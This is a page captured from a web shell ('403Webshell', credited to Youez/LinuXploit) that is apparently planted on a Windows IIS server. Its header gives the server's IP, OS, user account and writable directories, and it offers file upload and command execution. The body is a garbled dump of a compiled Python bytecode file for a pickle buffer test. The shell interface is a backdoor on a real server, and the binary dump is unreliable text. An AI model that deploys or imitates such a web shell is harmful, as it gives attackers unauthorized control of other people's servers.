403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_picklebuffer.cpython-313.opt-2.pyc
�

��i����SSKrSSKJr SSKrSSKrSSKJr "SS\5r"SS\R5r
\S:Xa\R"5 gg)	�N)�PickleBuffer)�
import_helperc��\rSrSrSrg)�B��N)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��+C:\Python313\\Lib\test\test_picklebuffer.pyrrs��rrc�\�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�PickleBufferTest�c�T�[U5n[U5nURURUR5 URURUR5 URURUR5 URUR
UR
5 URURUR5 URURUR5 URURUR5 URURUR5 URUR5UR55 SSS5 SSS5 g!,(df   N=f!,(df   g=f�N)�
memoryview�assertEqual�nbytes�readonly�itemsize�shape�strides�c_contiguous�f_contiguous�format�tobytes)�self�pb�equiv�m�expecteds     r�check_memoryview�!PickleBufferTest.check_memoryviews��
��^�q��E�"�h�� � ����8�?�?�;�� � ����X�->�->�?�� � ����X�->�->�?�� � ����(�.�.�9�� � ����H�,<�,<�=�� � �����1F�1F�G�� � �����1F�1F�G�� � ����8�?�?�;�� � �����h�.>�.>�.@�A�#��^�"�"���^�s#�F�EF�7F�
F	�F�
F'c��UR[5 [5 SSS5 UR[5 [S5 SSS5 [S5nUR	5 UR[
5 [U5 SSS5 g!,(df   N|=f!,(df   Nd=f!,(df   g=f)N�foo�foo)�assertRaises�	TypeErrorrr�release�
ValueError)r r#s  r�test_constructor_failure�)PickleBufferTest.test_constructor_failure!s���
�
�
�y�
)��N�*�
�
�
�y�
)����*�
�v���	�	�	��
�
�
�z�
*���O�+�
*�*�
)��
)�
)��
+�
*�s"�B�B(�B9�
B%�(
B6�9
Cc���[S5nURS[U55 [U5nUR	UR
5 SSS5 [[
S55nURS[U55 [U5nURUR
5 SUS'SSS5 URS[U55 g!,(df   N�=f!,(df   N;=f)Nr)�0rs0oo)rr�bytesr�
assertTruer�	bytearray�assertFalse)r r!r#s   r�test_basics�PickleBufferTest.test_basics,s���
�&�
!�������r��+�
��^�q��O�O�A�J�J�'���)�F�+�
,�������r��+�
��^�q����Q�Z�Z�(��A�a�D��	
�����r��+��^��
�^�s�C�!C&�
C#�&
C4c��[S5nUR5 UR[5n[	U5 SSS5 URS[
WR55 UR5 g!,(df   ND=f)Nr)z3operation forbidden on released PickleBuffer object)rr,r*r-r�assertIn�str�	exception�r r!�raisess   r�test_release�PickleBufferTest.test_release9sb��
�&�
!��
�
�
��
�
�
�z�
*�f��r�N�+��
�
�K��&�*�*�+�	-�	�
�
��+�
*�s�A;�;
B	c���[S5n[U5nX!l[R"U5nAA[
R"5 URU"55 g�Nr))rr�cycle�weakref�ref�gc�collect�assertIsNone)r �br!�wpbs    r�
test_cycle�PickleBufferTest.test_cycleCsD��
�f�I��
�!�_�����k�k�"�o��
�r�
�
�
�����#�%� rc��[R"S5RnU"[[	S55SSS9nURUR5 URUR5 [U5nURX25 USSS2nURUR5 URUR5 [U5nURX25 U"[[	S55SSSS	9nURUR5 URUR5 [U5nURX25 g)
N�_testbuffer�����<i�rr�)rQrP)rPrN�rrr)r�
import_module�ndarray�list�ranger3rr5rrr%)r rW�arrr!s    r�test_ndarray_2d� PickleBufferTest.test_ndarray_2dLs���-�-�m�<�D�D���d�5��9�o�V�D�A������(�(�)�����)�)�*�
�#�
�����b�&��#�A�#�h������)�)�*�����)�)�*�
�#�
�����b�&��d�5��9�o�V�W�T�R������(�(�)�����)�)�*�
�#�
�����b�&rc��[U5nUR5nURU[5 UR	XB5 SSS5 g!,(df   g=fr)r�raw�assertIsInstancerr%)r �objr"r!r#s     r�	check_raw�PickleBufferTest.check_rawcs?��
�#�
��
�V�V�X���!�!�!�Z�0��!�!�!�+��X�X�s�(A
�
Ac��S[S54H,nURUS9 URX5 SSS5 M. g!,(df   M@=f)Nr))r`)r4�subTestra)r r`s  r�test_raw�PickleBufferTest.test_rawis?���I�f�-�.�C����#��&����s�(�'�&�/�&�&�s	�?�
A	c��[R"S5RnU"[[	S55SSS9nSnURX#5 U"[[	S55SSS9nS	nURX#5 U"[[	S55SS
SS9nS	nURX#5 U"SS
SS9nSnURX#5 g)NrMrQ)rQz<hrSs�)rTrQs)rTrPrUi�rrRs�)rrVrWrXrYra)r rWrZr"s    r�test_raw_ndarray�!PickleBufferTest.test_raw_ndarrayns����-�-�m�<�D�D���d�5��8�n�D��>��+�����s�"��d�5��8�n�F�4�@��C�����s�"��d�5��8�n�F�F�!�#��D�����s�"��c��D�1��#�����s�"rc��[U5nUR[S5 UR5 SSS5 g!,(df   g=f)Nznon-contiguous)r�assertRaisesRegex�BufferErrorr^)r r`r!s   r�check_raw_non_contiguous�)PickleBufferTest.check_raw_non_contiguous�s3��
�#�
��
�
#�
#�K�1A�
B��F�F�H�C�
B�
B�s	�<�
A
c��[R"S5RnU"[[	S55SSS9SSS2nURU5 U"[[	S55SSS9SSS2nURU5 g)	NrMrh)rhrRrSrTrNrO)rrVrWrXrYrn)r rWrZs   r�test_raw_non_contiguous�(PickleBufferTest.test_raw_non_contiguous�sr���-�-�m�<�D�D���d�5��8�n�D��>�s��s�C���%�%�c�*��d�5��9�o�V�D�A�#�A�#�F���%�%�c�*rc��[S5nUR5 UR[5nUR	5 SSS5 g!,(df   g=frA)rr,r*r-r^r<s   r�test_raw_released�"PickleBufferTest.test_raw_released�s:��
�&�
!��
�
�
��
�
�
�z�
*�f��F�F�H�+�
*�
*�s�A�
ArN)r	r
rrr%r.r6r>rJr[rarerirnrqrtr
rrrrrs?��B�	�,��!�'�.,�)�
#�*�
+�rr�__main__)
rE�picklerrC�unittest�test.supportrr2r�TestCaserr	�mainrrr�<module>r|sO��
����&�	��	�C�x�(�(�C�L�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit